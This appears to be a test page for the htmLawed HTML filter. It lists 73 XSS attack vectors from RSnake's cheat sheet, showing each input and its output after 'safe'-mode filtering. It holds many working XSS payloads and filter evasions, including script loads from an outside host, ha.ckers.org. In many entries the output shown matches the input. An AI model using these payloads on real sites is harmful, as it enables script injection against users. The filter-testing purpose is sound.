To illustrate the anti-XSS'ing efficiency of htmLawed in 'safe' mode,
htmLawed was used to filter text for each of the XSS vector (code)
listed on
RSnake's XSS cheat sheet (3 May 2008).
For each vector, the code is shown for both before and after
the filtering. Vectors obviously designed to exploit HTML markup in the
<head> section or in <frame>,
<noframe>, or <frameset> elements of
web-pages, or those targeting non-HTML content such as Flash movies,
PHP interpreters, etc., were not considered as those are outside
htmLawed's purview.
The 'safe' mode means that the $config parameter 'safe' is set
to 1, and other parameters to over-ride any of the default parameter
values implicitly used because of 'safe' are not specified.
In such cases,
'safe'=>1 is thus equivalent to the following in a $config value:
'comments'=>0,
'cdata'=>0, 'deny_attribute'=>'on*',
elements'=>'*-applet-embed-iframe-object-script',
'scheme'=>'href: aim, feed, file, ftp, gopher, http, https, irc,
mailto, news, nntp, sftp, ssh, telnet; style: nil; *:file, http, https'
Refer to
htmLawed documentation for more about $config.
1.
XSS Locator About »Category: Basic XSS Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
Output code »';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
2.
XSS Quick Test About »Category: Basic XSS Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »'';!--"<XSS>=&{()}
Output code »'';!--"<XSS>=&{()}
3.
SCRIPT w/Alert() About »Category: Basic XSS Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<SCRIPT>alert('XSS')</SCRIPT>
Output code »<SCRIPT>alert('XSS')</SCRIPT>
4.
SCRIPT w/Source File About »Category: Basic XSS Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
Output code »<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
5.
SCRIPT w/Char Code About »Category: Basic XSS Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
Output code »<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
6.
DIV background-image 1 About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<DIV STYLE="background-image: url(javascript:alert('XSS'))">
Output code »<div style="background-image: url(denied:javascript:alert('XSS'))"></div>
7.
DIV background-image 2 About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<DIV STYLE="background-image: url(javascript:alert('XSS'))">
Output code »<div style="background-image: url(denied:&#1;javascript:alert('XSS'))"></div>
8.
DIV expression About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<DIV STYLE="width: expression(alert('XSS'));">
Output code »<div style="width;"></div>
9.
IFRAME About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
Output code »<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
10.
INPUT Image About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
Output code »<input type="image" src="denied:javascript:alert('XSS');" />
11.
IMG w/JavaScript Directive About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG SRC="javascript:alert('XSS');">
Output code »<img src="denied:javascript:alert('XSS');" alt="image" />
12.
IMG No Quotes/Semicolon About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG SRC=javascript:alert('XSS')>
Output code »<img src="denied:javascript:alert(" alt="image" />
13.
IMG Dynsrc About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG DYNSRC="javascript:alert('XSS');">
Output code »<img src="src" alt="image" />
14.
IMG Lowsrc About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG LOWSRC="javascript:alert('XSS');">
Output code »<img src="src" alt="image" />
15.
IMG Embedded commands 1 About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
Output code »<img src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode" alt="image" />
16.
IMG Embedded commands 2 About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
Output code »Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
17.
IMG STYLE w/expression About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »exp/*<XSS STYLE='no\xss:noxss("*//*");¬
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
Output code »exp/*<XSS STYLE='no\xss:noxss("*//*");¬
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
18.
List-style-image About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
Output code »<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><ul><li>XSS</li></ul>
19.
IMG w/VBscript About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG SRC='vbscript:msgbox("XSS")'>
Output code »<img src="denied:vbscript:msgbox("XSS")" alt="image" />
20.
LAYER About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]
Input code »<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
Output code »<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
21.
Livescript About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]
Input code »<IMG SRC="livescript:[code]">
Output code »<img src="denied:livescript:[code]" alt="image" />
22.
Mocha About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]
Input code »<IMG SRC="mocha:[code]">
Output code »<img src="denied:mocha:[code]" alt="image" />
23.
OBJECT About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
Output code »<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
24.
OBJECT w/Embedded XSS About »Category: HTML Element Attacks
Browser support:
Input code »<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
Output code »<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name="url" value="javascript:alert(" /></OBJECT>
25.
Embed Flash About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
Output code »<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
26.
STYLE About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]
Input code »<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
Output code »<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
27.
STYLE w/Comment About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
Output code »<img style="xss" src="src" alt="image" />
28.
STYLE w/Anonymous HTML About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<XSS STYLE="xss:expression(alert('XSS'))">
Output code »<XSS STYLE="xss:expression(alert('XSS'))">
29.
TABLE About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<TABLE BACKGROUND="javascript:alert('XSS')"></TABLE>
Output code »<table></table>
30.
TD About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE>
Output code »<table><td></td></table>
31.
XML namespace About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<HTML xmlns:xss>¬
<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">¬
<xss:xss>XSS</xss:xss>¬
</HTML>
Output code »<HTML xmlns:xss>¬
<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">¬
<xss:xss>XSS</xss:xss>¬
</HTML>
32.
XML data island w/CDATA About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>¬
</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
Output code »<XML
ID=I><X><C><![CDATA[<IMG
SRC="javas]]><![CDATA[cript:alert('XSS');">]]>¬
</C></X></xml><span></span>
33.
XML data island w/comment About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>¬
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
Output code »<XML ID="xss"><i><b><img src="src" alt="image" />cript:alert('XSS')"></b></i></XML>¬
<span></span>
34.
XML (locally hosted) About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>¬
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
Output code »<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>¬
<span></span>
35.
XML HTML+TIME About »Category: HTML Element Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<HTML><BODY>¬
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">¬
<?import namespace="t" implementation="#default#time2">¬
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML>
Output code »<HTML><BODY>¬
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">¬
<?import namespace="t" implementation="#default#time2">¬
<t:set
attributeName="innerHTML" to="XSS<SCRIPT
DEFER>alert('XSS')</SCRIPT>">
</BODY></HTML>
36.
Commented-out Block About »Category: Other Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<!--[if gte IE 4]>¬
<SCRIPT>alert('XSS');</SCRIPT>¬
<![endif]-->
Output code »<!--[if gte IE 4]>¬
<SCRIPT>alert('XSS');</SCRIPT>¬
<![endif]-->
37.
Local .htc file About »Category: Other Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);">
Output code »<XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);">
38.
Rename .js to .jpg About »Category: Other Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
Output code »<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
39.
SSI About »Category: Other Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->
Output code »<!--#exec
cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec
cmd="/bin/echo
'=http://ha.ckers.org/xss.js></SCRIPT>'"-->
40.
JavaScript Includes About »Category: Other Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]
Input code »<BR SIZE="&{alert('XSS')}">
Output code »<br />
41.
Case Insensitive About »Category: Character Encoding Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG SRC=JaVaScRiPt:alert('XSS')>
Output code »<img src="denied:JaVaScRiPt:alert(" alt="image" />
42.
HTML Entities About »Category: Character Encoding Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG SRC=javascript:alert("XSS")>
Output code »<img src="denied:javascript:alert("XSS")" alt="image" />
43.
Grave Accents About »Category: Character Encoding Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
Output code »<img src="`javascript:alert(" alt="image" />
44.
Image w/CharCode About »Category: Character Encoding Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
Output code »<img src="denied:javascript:alert(String.fromCharCode(88,83,83))" alt="image" />
45.
UTF-8 Unicode Encoding About »Category: Character Encoding Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG
SRC=javascript:alert('XSS')>
Output code »<img
src="denied:javascript:alert('XSS')"
alt="image" />
46.
Long UTF-8 Unicode w/out Semicolons About »Category: Character Encoding Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG
SRC=javascript:alert('XSS')>
Output code »<img
src="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041"
alt="image" />
47.
DIV w/Unicode About »Category: Character Encoding Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<DIV
STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
Output code »<div
style="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"></div>
48.
Hex Encoding w/out Semicolons About »Category: Character Encoding Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG
SRC=javascript:alert('XSS')>
Output code »<img
src="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29"
alt="image" />
49.
End title tag About »Category: Character Encoding Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »</TITLE><SCRIPT>alert("XSS");</SCRIPT>
Output code »</TITLE><SCRIPT>alert("XSS");</SCRIPT>
50.
STYLE w/broken up JavaScript About »Category: Character Encoding Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
Output code »<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
51.
Embedded Tab About »Category: Embedded Character Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG SRC="jav ascript:alert('XSS');">
Output code »<img src="denied:jav ascript:alert('XSS');" alt="image" />
52.
Embedded Encoded Tab About »Category: Embedded Character Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG SRC="jav	ascript:alert('XSS');">
Output code »<img src="denied:jav	ascript:alert('XSS');" alt="image" />
53.
Embedded Newline About »Category: Embedded Character Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG SRC="jav
ascript:alert('XSS');">
Output code »<img src="denied:jav
ascript:alert('XSS');" alt="image" />
54.
Embedded Carriage Return About »Category: Embedded Character Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG SRC="jav
ascript:alert('XSS');">
Output code »<img src="denied:jav
ascript:alert('XSS');" alt="image" />
55.
Multiline w/Carriage Returns About »Category: Embedded Character Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG¬
SRC¬
=¬
"¬
j¬
a¬
v¬
a¬
s¬
c¬
r¬
i¬
p¬
t¬
:¬
a¬
l¬
e¬
r¬
t¬
(¬
'¬
X¬
S¬
S¬
'¬
)¬
"¬
>
Output code »<img src="denied:j a v a s c r i p t : a l e r t ( ' X S S ' )" alt="image" />
56.
Spaces/Meta Chars About »Category: Embedded Character Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG SRC="  javascript:alert('XSS');">
Output code »<img src="denied:&#14; javascript:alert('XSS');" alt="image" />
57.
Non-Alpha/Non-Digit About »Category: Embedded Character Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Output code »<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
58.
No Closing Script Tag About »Category: Embedded Character Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<SCRIPT SRC=http://ha.ckers.org/xss.js
Output code »<SCRIPT SRC=http://ha.ckers.org/xss.js
59.
Protocol resolution in script tags About »Category: Embedded Character Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<SCRIPT SRC=//ha.ckers.org/.j>
Output code »<SCRIPT SRC=//ha.ckers.org/.j>
60.
Half-Open HTML/JavaScript About »Category: Embedded Character Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG SRC="javascript:alert('XSS')"
Output code »<IMG SRC="javascript:alert('XSS')"
61.
Double open angle brackets About »Category: Embedded Character Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IFRAME SRC=http://ha.ckers.org/scriptlet.html <
Output code »<IFRAME SRC=http://ha.ckers.org/scriptlet.html <
62.
Extraneous Open Brackets About »Category: Embedded Character Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<<SCRIPT>alert("XSS");//<</SCRIPT>
Output code »<<SCRIPT>alert("XSS");//<</SCRIPT>
63.
Malformed IMG Tags About »Category: Embedded Character Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
Output code »<img src="src" alt="image" /><SCRIPT>alert("XSS")</SCRIPT>">
64.
No Quotes/Semicolons About »Category: Embedded Character Attacks
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<SCRIPT>a=/XSS/¬
alert(a.source)</SCRIPT>
Output code »<SCRIPT>a=/XSS/¬
alert(a.source)</SCRIPT>
65.
Evade Regex Filter 1 About »Category: XSS w/HTML Quote Encapsulation
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Output code »<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
66.
Evade Regex Filter 2 About »Category: XSS w/HTML Quote Encapsulation
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Output code »<SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
67.
Evade Regex Filter 3 About »Category: XSS w/HTML Quote Encapsulation
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Output code »<SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
68.
Evade Regex Filter 4 About »Category: XSS w/HTML Quote Encapsulation
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Output code »<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
69.
Evade Regex Filter 5 About »Category: XSS w/HTML Quote Encapsulation
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Output code »<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
70.
Filter Evasion 1 About »Category: XSS w/HTML Quote Encapsulation
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Output code »<SCRIPT>document.write("<SCRI");</SCRIPT>PT
SRC="http://ha.ckers.org/xss.js"></SCRIPT>
71.
Filter Evasion 2 About »Category: XSS w/HTML Quote Encapsulation
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Output code »<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
72.
Mixed Encoding About »Category: URL Obfuscation
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<A HREF="h¬
tt p://6	6.000146.0x7.147/">XSS</A>
Output code »<a href="denied:h tt p://6	6.000146.0x7.147/">XSS</a>
73.
JavaScript Link Location About »Category: URL Obfuscation
Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]
Input code »<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
Output code »<a href="denied:javascript:document.location='http://www.google.com/'">XSS</a>